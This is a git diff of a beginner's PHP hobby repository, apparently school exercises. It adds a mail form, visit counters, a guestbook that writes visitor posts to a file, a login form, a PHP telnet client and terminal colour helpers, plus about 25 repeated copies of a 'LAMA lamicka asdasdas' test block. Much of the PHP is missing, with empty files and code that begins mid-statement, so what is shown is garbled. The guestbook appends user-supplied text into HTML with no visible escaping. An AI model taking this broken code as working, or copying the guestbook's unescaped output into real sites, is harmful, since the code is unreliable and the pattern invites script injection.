    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + diff --git a/php/stredni-php/mailer/mail.html b/php/stredni-php/mailer/mail.html new file mode 100755 index 0000000..a1e3ebb --- /dev/null +++ b/php/stredni-php/mailer/mail.html @@ -0,0 +1,7 @@ +
    +Prijemce:
    +Vas mail:
    +Predmet:
    +Zprava:
    + +
    diff --git a/php/stredni-php/mailer/mail.php b/php/stredni-php/mailer/mail.php new file mode 100755 index 0000000..ea0f4c9 --- /dev/null +++ b/php/stredni-php/mailer/mail.php @@ -0,0 +1,6 @@ + diff --git a/php/stredni-php/main.html b/php/stredni-php/main.html new file mode 100755 index 0000000..e69de29 diff --git a/php/stredni-php/phpinfo.php b/php/stredni-php/phpinfo.php new file mode 100755 index 0000000..0f89c90 --- /dev/null +++ b/php/stredni-php/phpinfo.php @@ -0,0 +1 @@ + diff --git a/php/stredni-php/pocitadlo.php b/php/stredni-php/pocitadlo.php new file mode 100755 index 0000000..a9a4c3a --- /dev/null +++ b/php/stredni-php/pocitadlo.php @@ -0,0 +1,15 @@ + diff --git a/php/stredni-php/pocitadlo.txt b/php/stredni-php/pocitadlo.txt new file mode 100755 index 0000000..3cacc0b --- /dev/null +++ b/php/stredni-php/pocitadlo.txt @@ -0,0 +1 @@ +12 \ No newline at end of file diff --git a/php/stredni-php/pocitadlo2.php b/php/stredni-php/pocitadlo2.php new file mode 100755 index 0000000..f8a7299 --- /dev/null +++ b/php/stredni-php/pocitadlo2.php @@ -0,0 +1,20 @@ +"); + else: + $fp = FOpen ("pocitadlo.txt", "w"); + FWrite ($fp, $pocet); + FClose ($fp); + setcookie('pricteno', 'true', time()+3600); //sekundy - 3600 = 1hodina, 1000 000 = 11dni + endif; + +echo ("Navstev: " . $pocet); + +?> diff --git a/php/stredni-php/redakce/gbook.txt b/php/stredni-php/redakce/gbook.txt new file mode 100755 index 0000000..5f28270 --- /dev/null +++ b/php/stredni-php/redakce/gbook.txt @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/php/stredni-php/redakce/gbook2.php b/php/stredni-php/redakce/gbook2.php new file mode 100755 index 0000000..339a8bd --- /dev/null +++ b/php/stredni-php/redakce/gbook2.php @@ -0,0 +1,225 @@ + + + + + +Kniha Návštěv - (c) 2oo6 - Harvie + + + + + + + + +
    +
    +

    Kniha návštěv

    + +

    + + +

    + +

    + + +

    + +

    + + +

    + +

    + Text příspěvku:
    + +

    + +

    + + +

    + + + +

    + +

    + + + +
    + +
    + +", $text); + $text = str_replace("[/b]","", $text); + + $text = str_replace("[i]","", $text); + $text = str_replace("[/i]","", $text); + + $text = str_replace("[u]","", $text); + $text = str_replace("[/u]","", $text); + + $text = str_replace("[tt]","", $text); + $text = str_replace("[/tt]","", $text); + + $text = str_replace("[pre]","
    ", $text);
    +		$text = str_replace("[/pre]","
    ", $text); + +$text = nl2br($text); + + //Zjištění data a času + //SetLocale("LC_ALL", "Czech"); //Nastavení českého prostředí + $datum = Date("j/m/Y H:i:s", Time()); + + //Otevření souboru + $fp = FOpen ("gbook.txt", "a+"); + + //Zápis dat do souboru + FWrite ($fp, "
    \n"); + + FWrite ($fp, "\n"); + + FWrite ($fp, "
    ".$title."
    \n"); + FWrite ($fp, "
    vložil: ".$name." - ".$contact."
    \n"); + FWrite ($fp, "
    ".$datum."

    \n"); + + FWrite ($fp, "
    \n"); + FWrite ($fp, $text); + FWrite ($fp, "\n
    \n\n"); + + //Uzavření souboru + FClose ($fp); + + //Výpisy + echo "Příspěvek byl korektně uložen!
    Vaše IP adresa: " . $_SERVER[REMOTE_ADDR] . " byla uložena!
    "; + +else: + + echo "Nezapomeňte vyplnit všechna pole!"; + +endif; + +?> +
    + + + + + diff --git a/php/stredni-php/redakce/redakce.php b/php/stredni-php/redakce/redakce.php new file mode 100755 index 0000000..de05b71 --- /dev/null +++ b/php/stredni-php/redakce/redakce.php @@ -0,0 +1,41 @@ + + + + + +Redakce - (c) 2oo6 - Harvie + + + + + + +
    +
    + Login:
    + Password:
    + + Soubor: + + + + +
    +
    + + + diff --git a/php/stredni-php/ukaz.php b/php/stredni-php/ukaz.php new file mode 100755 index 0000000..a03fee0 --- /dev/null +++ b/php/stredni-php/ukaz.php @@ -0,0 +1,5 @@ + \ No newline at end of file diff --git a/php/stredni-php/zadejjm.php b/php/stredni-php/zadejjm.php new file mode 100755 index 0000000..03000bf --- /dev/null +++ b/php/stredni-php/zadejjm.php @@ -0,0 +1,10 @@ +
    + + + + + + + + +
    \ No newline at end of file diff --git a/php/telnet b/php/telnet new file mode 100755 index 0000000..3cc183d --- /dev/null +++ b/php/telnet @@ -0,0 +1,19 @@ +#!/usr/bin/php + 1) $host = $argv[1]; else die($usage); +$port = 23; if($argc > 2) $port = $argv[2]; +if($argc > 3) die($usage); + +echo("Connecting to $host:$port...\n"); +$sock = pfsockopen($host, $port); +if($sock) echo("Connected!\n\n"); else die("Failed!\n"); +$stdin = fopen('php://stdin', 'r'); +stream_set_blocking($sock, 0); +stream_set_blocking($stdin, 0); + +while(!feof($sock) && !feof($stdin)) { + echo(fgetc($sock)); + fwrite($sock, fgetc($stdin)); +} \ No newline at end of file diff --git a/php/term.php b/php/term.php new file mode 100755 index 0000000..38b65be --- /dev/null +++ b/php/term.php @@ -0,0 +1,62 @@ +#!/usr/bin/php += 0) { echo("\033[".trim($atr1).';'.trim($atr2).'m'); } + else { echo("\033[".trim($atr1).'m'); } +} +//Screen clearing +function term_cls() { echo("\033[2J"); } //Clear screen +function term_free_line() { echo("\033[K"); } //Delete line from cursor to end +//Movement +function term_return() { echo("\r"); } //Move cursor to 1st col +function term_tab() { echo("\t"); } //Print TAB +function term_newline() { echo("\n"); } //Move cursor to next line +function term_up($n) { echo("\033[".$n.'A'); } //Move cursor $n rows up +function term_down($n) { echo("\033[".$n.'B'); } //Move cursor $n rows down +function term_right($n) { echo("\033[".$n.'C'); } //Move cursor $n cols right +function term_left($n) { echo("\033[".$n.'D'); } //Move cursor $n cols left +//Position +function term_pos($row, $col) { echo('\033['.$row.';'.$col.'H'); } //Move cursor at $row and $col +function term_fpos($row, $col) { echo('\033['.$row.';'.$col.'f'); } //Move cursor at $row and $col +//Position saving +function term_pos_save() { echo("\033[s"); } //Save cursor possition (maybe not supported) +function term_pos_restore() { echo("\033[u"); } //Restore cursor possition (maybe not supported) +//Info about terminal +function term_name() { return getenv('TERM'); } //Returns terminal name as string +function term_color_name() { return getenv('COLORTERM'); } //Returns color terminal name as string +function term_shell() { return getenv('SHELL'); } //Returns running shell as string +function term_directory() { return getenv('PWD'); } //Returns working directory as string +function term_language() { return getenv('LANG'); } //Returns local settings (langue.codepage) as string +//Showcase +function term_demo() { //Print demonstration + term_font(); + echo("DEMOnstration of PHPTerm for Unixs' terminals\n". + term_name().' - '.term_color_name().' ('.term_shell(). + ")\n\t\t\t\t<-Harvie 2oo7\n\n"); + for($i = 0; $i <= 8; $i++) { + for($x = 30; $x <= 37; $x++) { + term_font($i,$x); echo("A"); + } + term_font(); + for($y = 40; $y <= 47; $y++) { + term_font($y); echo("A"); + for($x = 30; $x <= 37; $x++) { + term_font($i,$x); echo("A"); + } + } + term_font(); + echo("\n"); + } + term_font(); echo("\n"); +} + + +term_demo(); \ No newline at end of file diff --git a/php/testauth.php b/php/testauth.php new file mode 100755 index 0000000..1a72d56 --- /dev/null +++ b/php/testauth.php @@ -0,0 +1,4 @@ + +
    LOGIN DOBREJ
    +Logout!
    +
    \ No newline at end of file diff --git a/php/urls.php b/php/urls.php new file mode 100644 index 0000000..962e7ec --- /dev/null +++ b/php/urls.php @@ -0,0 +1,6 @@ +